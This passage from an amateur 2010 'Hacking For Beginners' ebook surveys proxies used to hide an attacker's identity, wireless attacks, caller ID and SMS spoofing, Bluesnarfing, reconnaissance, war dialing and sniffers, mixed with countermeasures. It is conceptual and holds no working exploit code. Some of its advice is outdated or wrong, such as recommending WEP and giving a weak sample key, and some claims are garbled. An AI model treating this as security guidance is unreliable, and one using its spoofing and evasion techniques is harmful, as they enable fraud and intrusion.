1201Hacking For Beginners – Manthan Desai 2010
1202w w w . h a c k i n g t e c h . c o . t v
1203Page 62
1204Directory Access controls
1205• Htaccess files provide a way to make configuration changes on a per-directory basis.
1206• Htaccess files should be used in a case where the content providers need to make configuration changes to the server
1207on a per-directory basis, but do not have root access on the server system.
1208Configuring .htacess
1209How Attackers Hide Them While Attacking
1210Proxy Servers
1211• A Proxy Server is a server that acts as an intermediary between a workstation user and the Internet so that the
1212enterprise can ensure security, administrative control and caching service.
1213• Hackers generally use the Proxy server on the Internet to make their Identity invisible to the target.
1214• So They hide their IP address by using the proxy server and make an anonymous brousing over internet.
1215• Please See the diagram for better understanding.
1216Hacking For Beginners – Manthan Desai 2010
1217w w w . h a c k i n g t e c h . c o . t v
1218Page 63
1219Types of Proxy Servers
1220• Web Proxy
1221• Anonymous Proxy Server
1222Web Proxy Server
1223• A Proxy site is a web page which allows a user to browse other web sites.
1224• If an Attacker finds that he is blocked from accessing a Website, he will use any of web proxy sites to get bypass the
1225block.
1226Hacking For Beginners – Manthan Desai 2010
1227w w w . h a c k i n g t e c h . c o . t v
1228Page 64
1229Anonymous Proxy Server
1230• An Anonymous proxy is a proxy server designed to protect the privacy and anonymity of web browsers from web site
1231operators.
1232• In Anonymous Proxy, you get an IP Address and a Port Number. You have to configure that IP and Port with your Web
1233Browser and you will be surfing anonymously.
1234“Do not use this hack trick in any criminal activities and please do not destroy any ones account
1235this is for educational purpose only”.
1236Hacking For Beginners – Manthan Desai 2010
1237w w w . h a c k i n g t e c h . c o . t v
1238Page 65
12396. Wireless hacking
1240Wireless network refers to any type of computer network which is wireless, and is commonly associated with a network
1241whose interconnections between nodes e.g. Laptops, Desktops, Printers etc is implemented without the use of wires.
1242The popularity in Wireless Technology is driven by two major factors: convenience and cost. A Wireless Local
1243Area Network (WLAN) allows workers to access digital resources without being locked to their desks. Mobile users can
1244connect to a Local Area Network (LAN) through a Wireless (Radio) connection.
1245Demand for wireless access to LANs is fueled by the growth of mobile computing devices, such as laptops and personal
1246digital assistants, and by users’ desire for continuous network connections without physically having to plug into wired
1247systems.
1248For the same reason that WLANs are convenient, their open broadcast infrastructure, they are extremely vulnerable to
1249intrusion and exploitation. Adding a wireless network to an organization’s internal LAN may open a backdoor to the
1250existing wired network.
1251The IEEE 802.11 standard refers to a family of specifications for wireless local area networks (WLANs) developed by a
1252working group of the Institute of Electrical and Electronics Engineers (IEEE). This standards effort began in 1989, with the
1253focus on deployment in large enterprise networking environments, effectively a wireless equivalent to Ethernet. The IEEE
1254accepted the specification in 1997. Standard 802.11 specifies an over-the-air interface between a mobile device wireless
1255client and a base station or between two mobile device wireless clients.
1256Wireless Standards
1257Hacking For Beginners – Manthan Desai 2010
1258w w w . h a c k i n g t e c h . c o . t v
1259Page 66
1260• WAP (Wireless Access Point):
1261Wireless Access Point is the point from where the Wireless network are generated. Like the Wireless Routers or
1262Switches.
1263•SSID (Service Set Identifier):
1264An SSID is the name of a wireless local area network (WLAN). All wireless devices on a WLAN must employ the same
1265SSID in order to communicate with each other. SSID is also known as ESSID (Extended Service Set Identifier).
1266• BSSID (Basic Service Set Identifier):
1267A BSSID is the MAC Address (Media Access Control) or Physical Address of the Wireless Access Point or the Wireles
1268Router. This is a unique 48 bit key provided by the manufacturer of the device. It can be in the form of Hexadecimal
1269i.e. 0-9 , A-F.
1270E.g. 00:A1:CB:12:54:9F
1271• For checking your card’s MAC Address:
1272Start > Run > CMD
1273Write “getmac” in Command Prompt.
1274• Beacons:
1275These are the Wireless Packets which are broadcasted to maintain the connectivity with the Wireless Access
1276Point and Client systems. The Wireless Access point broadcasts beacon frames from time to time to check
1277connectivity with the systems.
1278• Channel:
1279It is the frequency at with the Wireless Signal travels through air.
1280• Data Packets:
1281These are the packets which sent and received for the transfer of data between Wireless Access Point and
1282Client systems. All the data communicated between two Computers travels in the form of Data Packets.
1283• Data Packets:
1284These are the packets which sent and received for the transfer of data between Wireless Access Point and
1285Client systems. All the data communicated between two Computers travels in the form of Data Packets.
1286Hacking For Beginners – Manthan Desai 2010
1287w w w . h a c k i n g t e c h . c o . t v
1288Page 67
1289Services provided by Wireless Networks
1290• Association:
1291It establishes wireless links between wireless clients and access points in infrastructure networks.
1292• Re-association:
1293This action takes place in addition to association when a wireless client moves from one Basic Service Set
1294(BSS) to another, such as in Roaming.
1295• Authentication:
1296This process proves a client’s identity through the use of the 802.11 option, Wired Equivalent Privacy
1297(WEP). In WEP, a shared key is configured into the access point and its wireless clients. Only those
1298devices with a valid shared key will be allowed to be associated with the access point.
1299•Privacy:
1300In the 802.11 standard, data are transferred in the clear by default. If confidentiality is desired, the WEP
1301option encrypts data before it is sent wirelessly. The WEP algorithm of the 802.11 Wireless LAN Standard
1302uses a secret key that is shared between a mobile station (for example, a laptop with a wireless Ethernet
1303card) and a base station access point to protect the confidentiality of information being transmitted on
1304the LAN.
1305Standard Wireless Security Solution
1306Wireless Security policies are developed or enhanced to accommodate the wireless environment. Primary issues will be
1307ownership and control of the wireless network, controlling access to the network, physically securing access points,
1308encrypting, auditing, and the procedures for detecting and handling rogue access points or networks. User security
1309awareness policies should be implemented.
1310SSID Solution
1311Wireless equipment manufacturers use a default Service Set ID (SSID) in order to identify the network to wireless clients.
1312All access points often broadcast the SSID in order to provide clients with a list of networks to be accessed. Unfortunately,
1313this serves to let potential intruders identify the network they wish to attack. If the SSID is set to the default manufacturer
1314setting it often means that the additional configuration settings (such as passwords) are at their defaults as well.
1315Good security policy is to disable SSID broadcasting entirely. If a network listing is a requirement for network users then
1316changing the SSID to something other than the default, that does not identify the company or location, is a must. Be sure
1317to change all other default settings as well to reduce the risk of a successful attack.
1318Hacking For Beginners – Manthan Desai 2010
1319w w w . h a c k i n g t e c h . c o . t v
1320Page 68
1321MAC address filtering
1322Some 802.11 access point devices have the ability to restrict access to only those devices that are aware of a specific
1323identification value, such as a MAC address. Some access point devices also allow for a table of permitted and denied
1324MAC addresses, which would allow a device administrator to specify the exact remote devices that are authorized to
1325make use of the wireless service. Client computers are identified by a unique MAC address of its IEEE 802.11 network
1326card. To secure an access point using MAC address filtering, each access point must have a list of authorized client MAC
1327address in its access control list.
1328 We can Prevent or Permit machines on the behalf of MAC Addresses.
1329Hacking For Beginners – Manthan Desai 2010
1330w w w . h a c k i n g t e c h . c o . t v
1331Page 69
1332WEP key encryption
1333The IEEE 802.11b standard defines an optional encryption scheme called Wired Equivalent Privacy (WEP), which creates a
1334mechanism for securing wireless LAN data streams. WEP was part of the original IEEE 802.11 wireless standard. These
1335algorithms enable RC4-based, 40-bit data encryption in an effort to prevent an intruder from accessing the network and
1336capturing wireless LAN traffic.
1337WEP’s goal is to provide an equivalent level of security and privacy comparable to a wired Ethernet 802.3 LAN. WEP uses a
1338symmetric scheme where the same key and algorithm are used for both encryption and decryption of data. WEP is
1339disabled by default on most wireless network equipment.
1340Wireless security Overview
1341Two methods exist for authenticating wireless LAN clients to an access point: Open system or Shared key authentication.
13421. Open system does not provide any security mechanisms but is simply a request to make a connection to the network.
13432. Shared key authentication has the wireless client hash a string of challenge text with the WEP key to authenticate to
1344the network.
1345Wireless Attacks
1346Broadcast Bubble :
1347One of the problems with wireless is that the radio waves that connect network devices do not simply stop
1348once they reach a wall or the boundary of a business. They keep traveling into parking lots and other
1349businesses in an expanding circle from the broadcast point, creating a ‘bubble’ of transmission radiation.
1350This introduces the risk that unintended parties can eavesdrop on network traffic from parking areas or any
1351other place where a laptop can be set up to intercept the signals.
1352War Driving :
1353War Driving is finding out the Wireless Networks present around the Wireless Card. common war driving
1354exploits find many wireless networks with WEP disabled and using only the SSID for access control. This
1355vulnerability makes these networks susceptible to the parking lot attack, where an attacker has the ability to
1356gain access to the target network a safe distance from the building’s perimeter.
1357Hacking For Beginners – Manthan Desai 2010
1358w w w . h a c k i n g t e c h . c o . t v
1359Page 70
1360WAR Driving is of two types:
13611. Active War Driving
13622. Passive War Driving
1363Active War Driving :
1364Active War Driving is detecting the Wireless Networks whose SSIDs are broadcasted or the Wireless
1365Networks which are shown to all the Wireless Adapters. It can be done through any Wireless Card.
1366Passive War Driving :
1367Passive War Driving is detecting the Wireless Networks whose SSIDs are not Broadcasted or the Hidden
1368Wireless Networks. The Wireless card should support the Monitor Mode for the Passive War Driving.
1369MAC spoofing
1370Even if WEP is enabled, MAC addresses can be easily sniffed by an attacker as they appear in the clear format, making
1371spoofing the MAC address also fairly easy.
1372MAC addresses are easily sniffed by an attacker since they must appear in the clear even when WEP is enabled. An
1373attacker can use those “advantages” in order to masquerade as a valid MAC address, by programming the wireless card or
1374using a spoofing utility, and get into the wireless network.
1375WEP cracking
1376• Wired Equivalent Privacy (WEP) was the first security option for 802.11 WLANs. WEP is used to encrypt data on the
1377WLAN and can optionally be paired with shared key authentication to authenticate WLAN clients. WEP uses an RC4 64-bit
1378or 128-bit encryption key.
1379• WEP was fairly quickly found to be crack able. WEP is vulnerable because of relatively short and weak encryption. The
1380security of the WEP algorithm can be compromised.
1381Hacking For Beginners – Manthan Desai 2010
1382w w w . h a c k i n g t e c h . c o . t v
1383Page 71
1384Countermeasures for Wireless attacks
1385Hide the Wireless Network:
1386Do not broadcast the SSID of the Wireless Network. This will help you in protecting your
1387Wireless being invisible to the people who do not know about Passive War Driving
1388Use a Secured Key :
1389You can use the WEP Key protection on your Wireless Network to protect your Wireless
1390Network Connection.
1391Although this is not the ultimate security measure but will help you a lot against the Script
1392Kiddies who do not know how to break into the WEP Protection.
1393WPA: Wi-Fi Protected Access
1394•WPA employs the Temporal Key Integrity Protocol (TKIP)—which is a safer RC4 implementation—for data encryption
1395and either WPA Personal or WPA Enterprise for authentication.
1396•WPA Enterprise is a more secure robust security option but relies on the creation and more complex setup of a RADIUS
1397server. TKIP rotates the data encryption key to prevent the vulnerabilities of WEP and, consequently, cracking attacks.
1398Mac Filtering
1399An early security solution in WLAN technology used MAC address filters: A network administrator entered a list of valid
1400MAC addresses for the systems allowed to associate with the Wireless Access Point.
1401Choosing the Best Key
1402Always use a long WPA Key with lower as well as upper case letters including numbers and special characters.
1403Sample Key: 12345@abcde&FGHI
1404Hacking For Beginners – Manthan Desai 2010
1405w w w . h a c k i n g t e c h . c o . t v
1406Page 72
14077. Mobile hacking – SMS & Call forging
1408It was bound to happen - they have hacked just about everything else. Now it's the cell phones. Cellphone hacking has
1409just recently surfaced and been made public ever since some one did some cellular phone hacking on Paris Hilton's cell
1410phone.
1411This article will give you some information about what is going on out there and what you can do to better protect your
1412cell phone information.
1413What Does It Involve
1414The fact of someone hacking cell phone became public knowledge when Paris Hilton's cell phone, along with her
1415information was recently hacked. Unfortunately for her, all her celebrity friends and their phone numbers were also
1416placed on the Internet - resulting in a barrage of calls to each of them.
1417Cell phone hackers have apparently found a glitch in the way the chips are manufactured. The good news, though, is that
1418it only applies to the first generation models of cell phones that use the Global System for Mobile communications (GSM).
1419Another requirement is that the hacker must have physical access to the cell phone for at least three minutes - which is a
1420real good reason not to let it out of your sight. Currently, although the problem has been remedied (at least for now) in
1421the second and third generation phones, it seems that about 70% of existing cell phones fall within the first generation
1422category.
1423Another way that mobile phone hacking can take place is for a hacker to walk around an area with people that have cell
1424phones and a laptop that has cellphone hacker programs on it. Through an antenna, and a little patience, his computer
1425can literally pick up your cell phone data - if it is turned on. This is more applicable to cell phones that use Bluetooth
1426technology.
1427What Can A Hacker Do?
1428Surprisingly, there are quite a number of things that can be accomplished by the hacker. Depending on their intent here
1429are a few of them.
1430 Steal Your Number
1431Your phone number can be accessed and obtained by cellphone hacking. This allows them to make calls and have
1432it charged to your account.
1433 Take Your Information
1434Mobile hacking allows a hacker to contact your cell phone, without your knowledge, and to download your
1435addresses and other information you might have on your phone. Many hackers are not content to only get your
1436information. Some will even change all your phone numbers! Be sure to keep a backup of your information
1437somewhere. This particular technique is called Bluesnarfing.
1438Hacking For Beginners – Manthan Desai 2010
1439w w w . h a c k i n g t e c h . c o . t v
1440Page 73
1441Be Prepared for Cell Phone Hacks
1442 Rob Your Money
1443Other options might use a particular buying feature called SMS. This refers to the fact that money can be taken
1444from your account and transferred into another and a good hacker can sit in one place and access a lot of phones
1445and transfer a lot of money rather quickly - probably in less time than you think!
1446 Give The System A Virus
1447By using another cell phone hack code, a hacker could kidnap your phone, send it a camouflaged program or send
1448it a virus. But it does not end there, since, from that point, he can use your phone to retransmit the virus to many
1449other phones almost instantly - potentially disabling the system.
1450 Spy On You
1451A hacker can also gain access and take over for cell phone spying and remote mobile phone hacking. Literally,
1452once secured, the hacker can have the phone call him, and then be able to listen to all conversations going on
1453around the owner of the phone.
1454 Access Your Voice Mails
1455Voice mails can also be retrieved by a hacker through a hacking cell phone. After stealing your number, this can
1456easily be done - if your password is disabled. The main thing that needs to be understood here, is that the
1457electronics that give you the modern convenience of interacting with the Internet (getting your voice mails,
1458emails, Web surfing, etc.) , is also the same technology that allows you to receive the same ills as can befall
1459someone on the Internet.
1460What Can You Do?
1461It seems that the major cell phone companies, at least at this point, really are not interested in bringing the system up to
1462be able to cope with this threat. Meetings are starting to take place, but for now it is not perceived to be real serious. This
1463could be because it is primarily the older phones that are most susceptible to some types of this mobile hacking.
1464Until the cell phone manufacturers are able to cope with, or eliminate, the glitches in the system that allows them to
1465overcome these problems, you will largely have to help yourself to cope with these things. Here are a couple of tips that
1466will help you protect your cell phone, its information, and other things.
1467 Use Your Passwords
1468The cell phone companies tell us that many people have turned off their passwords when they access their voice
1469mail messages, or other things. This little feature, though it may seem to be an annoyance to some, could protect
1470your phone from unauthorized purposes.
1471 Leave The Phone Off
1472This one is obviously the harder choice, here, simply because most of us who have cell phones like to be reached
1473anytime and anywhere. Others do need to be reachable at all times.
1474 Upgrade Your Phone
1475While this cannot guarantee that your phone is not hackable, it certainly will help. It should be remembered that
1476the phone companies work hard to deliver the best technology and conveniences - but the cell phone hacks work
1477just as hard to be the first to break the systems designed to defeat them. It is an ongoing battle.
1478Cellular phone hacking, for now, is a fact of life that affects a few of us. Gladly, the numbers are still small, but
1479many feel this problem is just getting started. By being aware of the problems, you can wisely take steps to
1480prevent them from happening to you. Cellphone hacking does not need to catch you unprepared.
1481Hacking For Beginners – Manthan Desai 2010
1482w w w . h a c k i n g t e c h . c o . t v
1483Page 74
1484Call Spoofing / Forging
1485• Call forging is method to spoof caller id number displayed on the mobile phone/landline.
1486• It relies on VoIP (Voice over Internet Protocol)
1487• VoIP is emerging & exciting innovation as far as Information & communication technology is concerned.
1488• Can be considered as GEN Next Cyber Crime.
1489About Caller Id Forging/Spoofing
1490Caller ID Forging the practice of causing the telephone network to display a number on the recipient's caller ID display
1491which is not that of the actual originating station; the term is commonly used to describe situations in which the
1492motivation is considered nefarious by the speaker. Just as e-mail spoofing can make it appear that a message came from
1493any e-mail address the sender chooses, caller ID forging can make a call appear to have come from any phone number the
1494caller wishes. Because people are prone to assume a call is coming from the number (and hence, the associated person,
1495or persons), this can call the service's value into question.
1496Basics of Call Forging
1497Firstly the voip is used to call via internet PC to a telephone.
1498In the Voip there is a loop hole which allow a intruder to spoof a call.
1499There are many website on the net which provide the facility of the internet calling.
1500This website work as follows,first the call the source phone no then the destiation number and then bridge them
1501togather.
1502Here there is no authentication done by the website and server are normally located in US and so tracing of the
1503intruder is not possible.
1504Thus the intruder logs on to this server and gives a wrong source number and then place a call over internet
1505which is actually a spoofed call which shows wrong identity.
1506Also there a no laws regarding the call spoofing in India and so a intruder if gets traced is easily backed by the
1507loophole of no laws for it.
1508thus if you get calls from other numbers dont trust it they may be spoofed calls.
1509Hacking For Beginners – Manthan Desai 2010
1510w w w . h a c k i n g t e c h . c o . t v
1511Page 75
1512SMS Forging
1513• SMS is one of the most popular means of communications.
1514• SMS Forging is the method to spoof sender id of SMS.
1515• One can send SMS to international Number from any number of sender’s choice.
1516• Facility to choose sender id upto 11 characters/name.
1517SMS ROUTING IN GSMFirst
1518of all the sender send the SMS via SMS gateway. The identity of the sender is attached to the SCCP packer of the
1519SMS. The SMS once reach the SMS gateway is routed to the destination Gateway and then to the receiver’s handset.
1520There are many ways by which we can send SMS to the SMS gateway.
1521One of them is to use internet.
1522Now the concept of SMS forging lies in changing the SCCP packer which contains the sender information prior delivering
1523to the SMS gateway.
1524The intruder can change the SCCP packet and can send that packet to any of the receiver as a spoofed SMS.
1525Some of the Website on the net also provide this facility.
15260791 7283010010F5 040BC87238880900F1
15270000993092516195800AE8329BFD4697D9.
152807- Length of the SMSC information (in this case 7 octets)
152991 - Type-of-address of the SMSC. (91 means international format of the phone number)
153072 83 01 00 10 F5 - Service center number(in decimal semi-octets). The length of the phone number is odd (11), so a
1531trailing F has been added to form proper octets. The phone number of this service center is "+27381000015".
153204- First octet of this SMS-DELIVER message
1533Hacking For Beginners – Manthan Desai 2010
1534w w w . h a c k i n g t e c h . c o . t v
1535Page 76
15360B-Address-Length. Length of the sender number (0B hex = 11 dec)
1537C8-Type-of-address of the sender number
153872 38 88 09 00 F1- Sender number (decimal semi-octets), with a trailing F.
1539• When SMS is sent using an application, it is routed through international gateways.
1540• Spoofing of Message Id(SDCCH/SCCP Info) take place at International gateway.
1541• Finally SMS is routed to destination SMS Center number.
1542• As there is no authentication system, it is sent to destination number with spoof ID.
1543Bluesnarfing
1544Bluesnarfing is the theft of information from a wireless device through a Bluetooth connection, often between phones,
1545desktops, laptops, and PDAs. This allows access to a calendar, contact list, emails and text messages. Bluesnarfing is much
1546more serious in relation to Bluejacking, although both exploit others’ Bluetooth connections without their knowledge.
1547Any device with its Bluetooth connection turned on and set to “discoverable” (able to be found by other Bluetooth
1548devices in range) can be attacked. By turning off this feature you can be protected from the possibility of being
1549Bluesnarfed. Since it is an invasion of privacy, Bluesnarfing is illegal in many countries.
1550There are people who have predicted the doom of bluetooth tooth attacks like bluesnarfing. Their reasoning is that WiFi
1551will eventually replace the need for bluetooth devices and without bluetooth, it make sense there will be no bluetooth
1552attacks.
1553While convincing and logical, bluetooth have yet to be phased out long after WiFi is in use. In face, there are more and
1554more devices using bluetooth technology. The main reason: It's free. Unlike wifi which is a overall network and you are
1555just a "user" in the network, you "own the network". You can switch in on and off anytime you like, and you don't have to
1556pay a cent. There is no logic for example to use wifi for connecting with your headset, but bluetooth fits that function
1557perfectly.
1558In fact, this neglect on the importance of bluetooth has led to an added advantage to bluesnarfers. Because every is
1559concern about their wifi security, they neglect the fact that their short ranged network which is their bluetooth can easier
1560be hacked into for someone who is nearby or even far away but with the right equipment.
1561The reason why there is little news about bluesnarfing is that there is no good solution to the problem at the moment,
1562save for switching off your bluetooth device.
1563So my advice is, be careful if you keep confidential information on your bluetooth devices.
1564Hacking For Beginners – Manthan Desai 2010
1565w w w . h a c k i n g t e c h . c o . t v
1566Page 77
1567We will learn about call forging and sms forging in the later part of the book.
1568Hacking For Beginners – Manthan Desai 2010
1569w w w . h a c k i n g t e c h . c o . t v
1570Page 78
15718. Information gathering and Scanning
1572Why Information gathering?
1573• Information Gathering can reveal online footprints of criminal.
1574• Information Gathering can help investigator to profile criminals
1575Information gathering of websites
1576We need to gather the following information about the website :
1577• Whois Information
1578• Owner of website.
1579• Email id used to register domain.
1580• Domain registrar.
1581• Domain name server information.
1582• Releted websites.
1583We can use website www.domaintools.com for this puropse.
1584Whois
1585Whois is query to database to get following information.
15861.Owner of website.
15872.Email id used to register domain.
15883.Domain registrar.
15894. Domain name server information.
15905. Releted websites.
1591Reverse IP mapping
1592• Reverse IP will give number of websites hosted on same server.
1593• If one website is vulnerable on the server then hacker can easily root the server.
1594• Domainbyip.com
1595Hacking For Beginners – Manthan Desai 2010
1596w w w . h a c k i n g t e c h . c o . t v
1597Page 79
1598• Trace Route
1599Information Gathering Using Search Engine
1600• Search engines are efficient mediums to get specific results according to your requirements.
1601• Google & yahoo search engine gives best results out of all.
1602• But Specifically using www.kartoo.com will give us good information about the search.
1603• This type of search engines retrieves results from different search engine & make relation or connections between
1604those results.
1605Hacking For Beginners – Manthan Desai 2010
1606w w w . h a c k i n g t e c h . c o . t v
1607Page 80
1608• Maltego is an open source intelligence and forensics application.
1609• It allows for the mining and gathering of information as well as the representation of this information in a meaningful
1610way.
1611• Coupled with its graphing libraries, Maltego, allows you to identify key relationships between information and identify
1612previously unknown relationships between them.
1613• Almost 80% internet users use blogs/forums for knowledge sharing purpose.
1614• Information gathering from specific blog will also helpful in investigations.
1615• Information gathering from Social Networking websites can also reveal personal info about suspect.
1616• Many websites stored email id lists for newsletters. These email ids can also be retrieved using email spiders.
1617Hacking For Beginners – Manthan Desai 2010
1618w w w . h a c k i n g t e c h . c o . t v
1619Page 81
1620Detecting ‘live’ systems on target network
1621Why Detecting ‘live’ systems on tagret network ?
1622 To determine the perimeter of the target network /system
1623 To facilitate network mapping
1624 To build an inventory of accessible systems on target network
1625Tools used for this
1626 War Dialers
1627 Ping Utilities
1628War Dialers
1629 A war dialer is a tool used to scan a large pool of telephone numbers to detect vulnerable modems to provide
1630access to the system.
1631 A demon dialer is a tool used to monitor a specific phone number and target its modem to gain access to the
1632system.
1633 Threat is high in systems with poorly configured remote access products providing entry to larger networks.
1634 Tools include THC-Scan, ToneLoc, TBA etc.
1635The term war dialing implies the exploitation of an organization's telephone, dial, and private branch exchange (PBX)
1636systems to infiltrate the internal network and use of computing resources during the actual attack. It may be surprising
1637why we are discussing war dialing here as more PBX systems are coming with increased security configurations. However,
1638the fact remains that there are as many insecure modems out there that can be compromised to gain access into the
1639target system. What had initially caught the fancy of hackers in the movie 'war games', still manages to find carriers
1640leading to compromise of systems. The war dialer in War Games is not very sophisticated as it only finds phone numbers
1641which are suspected to be computer dial-in lines. A more aggressive version might actually attempt to determine the
1642operating system, and a very aggressive version might attempt to perform some automated break -in attempts itself. If A
1643real scanner with this functionality will attempt to analyze the carrier information, the negotiation and presence of
1644protocols and/or banners to attempt to determine the remote system. It will then attempt to use default
1645username/password combinations for that system.
1646Hacking For Beginners – Manthan Desai 2010
1647w w w . h a c k i n g t e c h . c o . t v
1648Page 82
16499. Sniffers
1650Sniffers are almost as old as the Internet itself. They are one of the first tools that allowed system administrators to
1651analyze their network and pinpoint where a problem is occurring. Unfortunately, crackers also run sniffers to spy on your
1652network and steal various kinds of data. This paper discusses what a sniffer is, some of the more popular sniffers, and
1653ways to protect your network against them. It also talks about a popular tool called Antisniff, which allows you to
1654automatically detect sniffers running on your network.
1655What are Sniffers ?
1656In a non-switched network, Ethernet frames broadcast to all machines on the network, but only the computer that the
1657packets are destined for will respond. All of the other machines on that network still see the packet, but if they are not
1658the intended receiver, they will disregard it. When a computer is running sniffer software and it’s network interface is in
1659promiscuous mode (where it listens for ALL traffic), then the computer has the ability to view all of the packets crossing
1660the network.
1661If you are an Internet history buff and have been wondering where the term sniffer came from. Sniffer was a product that
1662was originally sold by Network General. It became the market leader and people starting referring to all network
1663analyzers as “sniffers.” I guess these are the same people who gave the name Q-Tip to cotton swabs.
1664Hacking For Beginners – Manthan Desai 2010
1665w w w . h a c k i n g t e c h . c o . t v
1666Page 83
1667Who uses Sniffers ?
1668LAN/WAN administrators use sniffers to analyze network traffic and help determine where a problem is on the network. A
1669security administrator could use multiple sniffers, strategically placed throughout their network, as an intrusion detection
1670system. Sniffers are great for system administrators, but they are also one of the most common tools a hacker uses.
1671Crackers install sniffers to obtain usernames, passwords, credit card numbers, personal information, and other
1672information that could be damaging to you and your company if it turned up in the wrong hands. When they obtain this
1673information, crackers will use the passwords to attack other Internet sites and they can even turn a profit from selling
1674credit card numbers.
1675Defeating Sniffers
1676One of the most obvious ways of protecting your network against sniffers is not to let them get broken into in the first
1677place. If a cracker cannot gain access to your system, then there is no way for them to install a sniffer onto it. In a perfect
1678world, we would be able to stop here. But since there are an unprecedented number of security holes found each month
1679and most companies don’t have enough staff to fix these holes, then crackers are going to exploit vulnerabilities and
1680install sniffers. Since crackers favor a central location where the majority of network traffic passes (i.e. Firewalls, proxies),
1681then these are going to be their prime targets and should be watched closely. Some other possible “victims” where
1682crackers like to install sniffers are next to servers where personal information can be seen (i.e. Webservers, SMTP
1683servers).
1684A good way to protect your network against sniffers is to segment it as much as possible using Ethernet switches instead
1685of regular hubs. Switches have the ability to segment your network traffic and prevent every system on the network from
1686being able to “see” all packets. The drawback to this solution is cost. Switches are two to three times more expensive then
1687hubs, but the trade-off is definitely worth it. Another option, which you can combine with a switched environment, is to
1688use encryption. The sniffer still sees the traffic, but it is displayed as garbled data. Some drawbacks of using encryption
1689are the speed and the chance of you using a weak encryption standard that can be easily broken. Almost all encryption
1690will introduce delay into your network. Typically, the stronger the encryption, the slower the machines using it will
1691communicate. System administrators and users have to compromise somewhere in the middle. Even though most system
1692administrators would like to use the best encryption on the market, it is just not practical in a world where security is seen
1693as a profit taker, not a profit maker. Hopefully the new encryption standard that should be out shortly, AES (Advanced
1694Encryption Standard), will provide strong enough encryption and transparency to the user to make everybody happy.
1695Some form of encryption is better then no encryption at all. If a cracker is running a sniffer on your network and notices
1696that all of the data that he (or she) is collecting is garbled, then most likely they will move on to another site that does not
1697use encryption. But a paid or determined hacker is going to be able to break a weak encryption standard, so it is better to
1698play it smart and provide the strongest encryption as long as it will not have everybody giving you dirty looks when you
1699walk down the halls at work.
1700AntiSniff
1701In 1999, our buddies at L0pht Heavy Industries released a product called Antisniff. This product attempts to scan your
1702network and determine if a computer is running in promiscuous mode. This is a helpful tool because if a sniffer is
1703detected on your network, then 9 times out of 10, the system has been compromised. This happened to the Computer
1704Science Department at California State University – Stanislaus. Here is what they posted on their local website: “A sniffer
1705program has been found running on the Computer Science network. Sniffer programs are used to capture passwords. In
1706order to protect yourself please change your password. Do not use a word out of a dictionary, put a number on the end of
1707Hacking For Beginners – Manthan Desai 2010
1708w w w . h a c k i n g t e c h . c o . t v
1709Page 84
1710a word or use proper names. Be inventive, use special characters and have 8 characters in your password.” I am sure
1711there are hundreds of similar postings on internal websites throughout the world that don’t make it public as they have.
1712Antisniff also helps you find those system administrators who run a sniffer to find out what is wrong with their local
1713network, but forget to ask for authorization beforehand. If you need to run a sniffer, then you should get permission in
1714writing. If your Security Administrator is running Antisniff, then there is a good chance they will find it and you will have to
1715explain why you are running a sniffer without authorization. Hopefully your security policy has a section on sniffers and
1716will provide some guidance if you need to run a sniffer.
1717At the time of this writing, Antisniff version 1.021 is the current release. There is a nice GUI available for Windows
171895/98/and NT machines. A command line version is also available for Solaris, OpenBSD, and Linux. This version of Antisniff
1719only works in a “flat non-switched” environment. If your network is designed with routers and switches, then Antisniff
1720does not have the same functionality as in a non-switched environment. You can only use it on local networks that do not
1721cross a router or switch. According to Lopht’s website, the next major release of Antisniff will have the ability to figure out
1722if a computer is running in promiscuous mode over routers and switches. The next release of Antisniff should definitely be
1723more beneficial to system administrators because the price of switches are coming down and most companies are
1724upgrading to switches to obtain 100/Full Mbps speeds. Even though you have a totally switched environment, you are still
1725not out of the water. There are still firewalls, proxies, webservers, ftp servers, etc. where crackers still have the ability to
1726install a sniffer and capture data locally. The only difference is, you have taken away their ability to capture data over the
1727network.
1728Antisniff can also be used by blackhats to find intrusion detection systems. If they know where your intrusion detection
1729systems are, then they can become stealth attackers, causing you much pain because you just spend $150,000 on a new
1730intrusion detection system and they found a way to bypass it.
1731Hacking For Beginners – Manthan Desai 2010
1732w w w . h a c k i n g t e c h . c o . t v
1733Page 85
173410. Linux Hacking
1735Linux is fast emerging as an affordable yet available operating system. As the popularity is growing so is the attention of
1736players with malicious intent to break in to the systems.
1737Why Linux ?
1738 Majority of servers around the globe are running on Linux / Unix-like platforms
1739 Easy to get and Easy on pocket
1740 There are many types of Linux -Distributions /Distros / Flavors such as Red Hat, Mandrake, Yellow Dog, Debian
1741etc.
1742 Source code is available
1743 Easy to modify.
1744 Easy to develop a program on Linux.
1745Linux is an operating system that can be downloaded free and "belongs" to an entire community of developers, not one
1746corporate entity. With more and more people looking for an alternative to Windows, Linux has recently grown in
1747popularity and is quickly becoming a favorite among major corporations and curious desktop users. Not only does it give
1748users a choice of operating systems, it also proves itself valuable with its power, flexibility, and reliability.
1749Linux supports most of the major protocols, and quite a few of the minor ones. Support for Internet, Novell, Windows,
1750and Appletalk networking have been part of the Linux kernel for some time now. With support for Simple Network
1751Management Protocol and other services (such as Domain Name Service), Linux is also well suited to serving large
1752networks. Since Linux was developed by a team of programmers over the Internet, its networking features were given
1753high priority. Linux is capable of acting as client and/or server to any of the popular operating systems in use today, and is
1754quite capable of being used to run Internet Service Providers.
1755Linux is an implementation of the UNIX design philosophy, which means that it is a multi-user system. This has numerous
1756advantages, even for a system where only one or two people will be using it. Security, which is necessary for protection of
1757sensitive information, is built into Linux at selectable levels. More importantly, the system is designed to multi-task.
1758Whether one user is running several programs or several users are running one program, Linux is capable of managing the
1759traffic.
1760Another huge advantage of an open system is a large number of software authors and beta testers. This makes the
1761software testing and refinement process faster and better. Because there is not a lot of commercial software for Linux,
1762most software written for Linux is written because the authors want to do it and there need be no compromise of quality.
1763Linux is "Free" in two senses. In one sense, the Linux consumer is free to modify the system and do anything he or she
1764wishes with it. In another sense, acquiring Linux does not necessarily require any cash outlay at all.
1765Hacking For Beginners – Manthan Desai 2010
1766w w w . h a c k i n g t e c h . c o . t v
1767Page 86
1768There are two very popular methods for acquiring and distributing Linux: FTP and CD-ROM. Most of the major Linux
1769distributions (Red Hat, Debian, Slackware, Caldera) are available for free download from several popular sites. Though
1770time consuming, it does not cost anything beyond connection charges.
1771Linux is one of the more stable operating systems available today. This is due in large part to the fact that Linux was
1772written by programmers who were writing for other programmers and not for the corporate system. There are currently
1773two mature program packaging standards in the Linux world - SuSE and Mandrake. Debian and Red Hat each have their
1774own packaging systems; both will check dependencies, both can upgrade an entire running system without a reboot. This
1775makes it easy to upgrade parts or all of a system, as well as add new software, or remove unwanted software.
1776Scanning Networks
